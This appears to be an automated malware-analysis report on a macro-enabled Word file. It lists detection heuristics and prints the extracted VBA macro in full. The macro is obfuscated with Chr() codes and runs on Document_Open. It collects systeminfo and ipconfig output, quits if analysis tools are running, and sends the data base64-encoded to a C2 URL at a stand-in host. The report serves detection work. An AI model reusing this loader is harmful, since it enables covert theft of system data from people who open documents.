MALICIOUS
270
Risk Score
Heuristics 8
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VBA project inside OOXML medium 6 related findings OOXML_VBADocument contains a VBA project — VBA macros present
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Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Dim shell As Object -
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
Dim shell As Object -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set shell = CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108)) -
GetObject call high OLE_VBA_GETOBJGetObject callMatched line in script
Set wmi = GetObject(Chr(119) & Chr(105) & Chr(110) & Chr(109) & Chr(103) & Chr(109) & Chr(115) & Chr(58) & Chr(47) & Chr(47) & Chr(46) & Chr(92) & Chr(114) & Chr(111) & Chr(111) & Chr(116) & Chr(92) & Chr(99) & Chr(105) & Chr(109) & Chr(118) & Chr(50)) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
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Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2023/wordml/word16duIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 4565 bytes |
SHA-256: f4964520c5a8b13283517ce7b4780613d03237ff5a19a99ddb0e3f4af728280c |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
Dim shell As Object
Dim wmi As Object
Dim processes As Object
Dim process As Object
Dim cmdOutput As String
Dim c2Server As String
Dim encodedData As String
Dim http As Object
Dim dataToSend As String
' Initialize WScript.Shell
Set shell = CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108))
' Execute systeminfo and ipconfig commands
cmdOutput = shell.Exec(Chr(99) & Chr(109) & Chr(100) & Chr(32) & Chr(47) & Chr(99) & Chr(32) & Chr(115) & Chr(121) & Chr(115) & Chr(116) & Chr(101) & Chr(109) & Chr(105) & Chr(110) & Chr(102) & Chr(111) & Chr(32) & Chr(38) & Chr(32) & Chr(105) & Chr(112) & Chr(99) & Chr(111) & Chr(110) & Chr(102) & Chr(105) & Chr(103)).StdOut.ReadAll
' Initialize WMI to query running processes
Set wmi = GetObject(Chr(119) & Chr(105) & Chr(110) & Chr(109) & Chr(103) & Chr(109) & Chr(115) & Chr(58) & Chr(47) & Chr(47) & Chr(46) & Chr(92) & Chr(114) & Chr(111) & Chr(111) & Chr(116) & Chr(92) & Chr(99) & Chr(105) & Chr(109) & Chr(118) & Chr(50))
Set processes = wmi.ExecQuery(Chr(83) & Chr(69) & Chr(76) & Chr(69) & Chr(67) & Chr(32) & Chr(42) & Chr(32) & Chr(70) & Chr(82) & Chr(79) & Chr(77) & Chr(32) & Chr(87) & Chr(105) & Chr(110) & Chr(51) & Chr(50) & Chr(95) & Chr(80) & Chr(114) & Chr(111) & Chr(99) & Chr(101) & Chr(115) & Chr(115))
' Check for analysis tools
For Each process In processes
If InStr(1, process.Name, Chr(112) & Chr(114) & Chr(111) & Chr(99) & Chr(109) & Chr(111) & Chr(110) & Chr(46) & Chr(101) & Chr(120) & Chr(101), vbTextCompare) > 0 Or _
InStr(1, process.Name, Chr(87) & Chr(105) & Chr(114) & Chr(101) & Chr(115) & Chr(104) & Chr(97) & Chr(114) & Chr(107) & Chr(46) & Chr(101) & Chr(120) & Chr(101), vbTextCompare) > 0 Or _
InStr(1, process.Name, Chr(73) & Chr(68) & Chr(65) & Chr(54) & Chr(52) & Chr(46) & Chr(101) & Chr(120) & Chr(101), vbTextCompare) > 0 Then
' Analysis tool detected, halt execution
Exit Sub
End If
Next process
' Base64 encode the collected data
encodedData = EncodeBase64(cmdOutput)
' C2 server URL
c2Server = Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(101) & Chr(120) & Chr(97) & Chr(109) & Chr(112) & Chr(108) & Chr(101) & Chr(46) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(99) & Chr(50)
' Construct the URL with encoded data
dataToSend = c2Server & Chr(63) & Chr(100) & Chr(97) & Chr(116) & Chr(97) & Chr(61) & encodedData
' Send the data to the C2 server
Set http = CreateObject(Chr(77) & Chr(83) & Chr(88) & Chr(77) & Chr(76) & Chr(50) & Chr(46) & Chr(88) & Chr(77) & Chr(76) & Chr(72) & Chr(84))
http.Open Chr(71) & Chr(69) & Chr(84), dataToSend, False
http.Send
' Clean up
Set shell = Nothing
Set wmi = Nothing
Set processes = Nothing
Set process = Nothing
Set http = Nothing
End Sub
Function EncodeBase64(ByVal str As String) As String
Dim xml As Object
Dim node As Object
Set xml = CreateObject(Chr(77) & Chr(83) & Chr(88) & Chr(77) & Chr(76) & Chr(50) & Chr(46) & Chr(68) & Chr(79) & Chr(77) & Chr(68) & Chr(111) & Chr(99) & Chr(117) & Chr(109) & Chr(101) & Chr(110) & Chr(116))
Set node = xml.createElement(Chr(98) & Chr(54) & Chr(52))
node.DataType = Chr(98) & Chr(105) & Chr(110) & Chr(46) & Chr(98) & Chr(97) & Chr(115) & Chr(101) & Chr(54) & Chr(52)
node.NodeTypedValue = Stream_StringToBinary(str)
EncodeBase64 = node.Text
Set xml = Nothing
Set node = Nothing
End Function
Function Stream_StringToBinary(ByVal str As String) As Object
Dim stream As Object
Set stream = CreateObject(Chr(65) & Chr(68) & Chr(79) & Chr(66) & Chr(46) & Chr(83) & Chr(116) & Chr(114) & Chr(101) & Chr(97) & Chr(109))
stream.Type = 1 ' adTypeBinary
stream.Open
stream.WriteText str
stream.Position = 0
stream.Type = 1 ' adTypeBinary
Stream_StringToBinary = stream.Read
stream.Close
Set stream = Nothing
End Function
|
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vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 14848 bytes |
SHA-256: cc4e286008fdfe886eac99f3414f9ebd86dc32e2e332974587a0162226aed039 |
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